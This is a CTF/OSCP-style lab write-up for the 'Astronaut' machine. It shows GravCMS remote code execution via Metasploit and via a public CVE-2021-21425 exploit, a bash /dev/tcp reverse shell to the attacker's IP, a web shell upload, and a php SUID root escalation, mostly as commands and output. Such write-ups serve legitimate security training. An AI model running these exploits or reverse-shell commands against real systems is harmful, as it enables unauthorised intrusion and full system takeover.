Astronaut | GravCMS RCE | PHP SUID

An Nmap scan reveals SSH and HTTP running on the target server:

```
┌──(kali㉿kali)-[~/OSCP/Astronaut]
└─$ cat Astronaut_Nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 12:19 EST
Nmap scan report for 192.168.169.12
Host is up (0.042s latency).
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/
|_
|_http-server-header: Apache/2.4.41 (Ubuntu)
```

A search of Grav-Admin reveals an unauthenticated write vulnerability that can lead to remote code execution. There is a metasploit module for this so we can use that:

```
msf6 exploit(linux/http/gravcms_exec) > run

[*] Started reverse TCP handler on 192.168.45.185:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending request to the admin path to generate cookie and token
[+] Cookie and CSRF token successfully extracted !
[*] Implanting payload via scheduler feature
[+] Scheduler successfully created ! Wait up to 93 seconds
[*] Sending stage (39927 bytes) to 192.168.169.12
[*] Cleaning up the scheduler ...
[+] The scheduler config successfully cleaned up!
[*] Meterpreter session 2 opened (192.168.45.185:4444 → 192.168.169.12:43346) at 2024-11-04 18:56:46 -0500

meterpreter > getuid
Server username: www-data
meterpreter >
```

The meterpreter shell is weak so we can use it to upload a web shell and use it to gain a more stable reverse shell:

```
meterpreter > cd ../
meterpreter > upload /home/kali/Tools/shell1.php
[*] Uploading  : /home/kali/Tools/shell1.php → shell1.php
[*] Uploaded -1.00 B of 2.53 KiB (-0.04%): /home/kali/Tools/shell1.php → shell1.php
[*] Completed  : /home/kali/Tools/shell1.php → shell1.php
```

Now we can set up a listener and use it to gain a reverse shell:

```
┌──(kali㉿kali)-[~/OSCP/Astronaut]
└─$ sudo rlwrap nc -lvnp 8443
[sudo] password for kali:
listening on [any] 8443 ...
connect to [192.168.45.185] from (UNKNOWN) [192.168.169.12] 60386
Linux gravity 5.4.0-146-generic #163-Ubuntu SMP Fri Mar 17 18:26:02
 03:09:50 up 28 min,  0 users,  load average: 0.00, 0.17, 0.41
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@gravity:/$
```

Alternate Exploit
Using the public exploit from here (https://github.com/CsEnox/CVE-2021-21425) we can also gain remote access:

```
┌──(kali㉿kali)-[~/OSCP/Astronaut/CVE-2021-21425]
└─$ python3 exploit.py -c 'bash -i >& /dev/tcp/192.168.45.185/8443 0>&1' -t http://astronaut.offsec/grav-admin
[*] Creating File
Scheduled task created for file creation, wait one minute
[*] Running file
Scheduled task created for command, wait one minute
```

And we have a shell:

```
┌──(kali㉿kali)-[~/OSCP/Astronaut]
└─$ sudo rlwrap nc -lvnp 8443
[sudo] password for kali:
listening on [any] 8443 ...
connect to [192.168.45.185] from (UNKNOWN) [192.168.169.12] 39544
bash: cannot set terminal process group (16572): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gravity:~/html/grav-admin$
```

Privilege Escalation
We can use the following to try and see if there are any SUID permissions that can grant us elevated privileges:

```
www-data@gravity:~/html/grav-admin$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core20/1852/usr/bin/chfn
```

The one that sticks out is php7.4:

```
/usr/bin/php7.4
```

GTFOBins has a method to gain an elevated shell by using php:

```
sudo install -m =xs $(which php) .

CMD="/bin/sh"
./php -r "pcntl_exec('/bin/sh', ['-p']);"
```

Executing these commands grants us root privileges:

```
www-data@gravity:/usr/bin$ CMD="/bin/sh"
CMD="/bin/sh"
www-data@gravity:/usr/bin$ ./php -r "pcntl_exec('/bin/sh', ['-p']);"
./php -r "pcntl_exec('/bin/sh', ['-p']);"
whoami
root
```